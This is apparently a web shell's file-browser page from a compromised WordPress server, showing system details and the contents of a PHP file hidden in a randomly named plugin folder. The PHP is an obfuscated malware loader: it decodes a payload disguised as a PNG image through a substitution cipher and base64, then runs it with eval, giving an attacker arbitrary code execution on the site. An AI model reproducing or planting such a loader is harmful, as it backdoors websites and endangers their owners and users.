HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/tienda-qas.allup.com.co/wp-content/plugins/achyvudor/qepepyj.txt
<?php

function pymyhe_axybocyze($lylado_uzhykovath) {
    switch ($lylado_uzhykovath) {
        case 1:
            return vexabi_macethite();
        case 2:
            return xikewi_eveqoneju();
    }
}

function geweti_cheshesog($lylado_uzhykovath) {
    $gunosy = pymyhe_axybocyze(1);
    $udomyl = pymyhe_axybocyze(2);
    for ($uzafym = 0; $uzafym < strlen($gunosy); $uzafym++) {
        $xukhezu = substr($gunosy, $uzafym, 1);
        $ozanil = substr($udomyl, $uzafym, 1);
        $qigupoh[$xukhezu] = $ozanil;
    }

    $zhofera = strtr($lylado_uzhykovath, $qigupoh);
    $zhofera = base64_decode($zhofera);

    return $zhofera;
}

function javula_urishaxich($lylado_uzhykovath) {
    $quboxis = array();
    if (!file_exists($lylado_uzhykovath))
        return false;
    $zhybilu = @file_get_contents($lylado_uzhykovath);
    if (!$zhybilu)
        return false;
    $zhybilu = substr($zhybilu, 3);
    $quboxis = geweti_cheshesog($zhybilu);
    return $quboxis;
}

function vexabi_macethite() {
    $zhybilu = "agePT1XOFQ5tmpc9uBGHbE7vnjKDdhNJZ26lx=sLrMCRy3Ak+zUWiS/VwIqYf80o4";
    return $zhybilu;
}

function xikewi_eveqoneju() {
    $quboxis = "Mz6dEbTLov4e5wFlKWIf/scBm9P1q2YaOp+=t3VCAJXGynNQgjUrhH7uDkSRZ08ix";
    return $quboxis;
}

$rijyty = javula_urishaxich(__DIR__ . "/ass" . "ets/i" . "mage" . "s/xuf" . "ive." . "png");
if ($rijyty) {
    @eval($rijyty);
}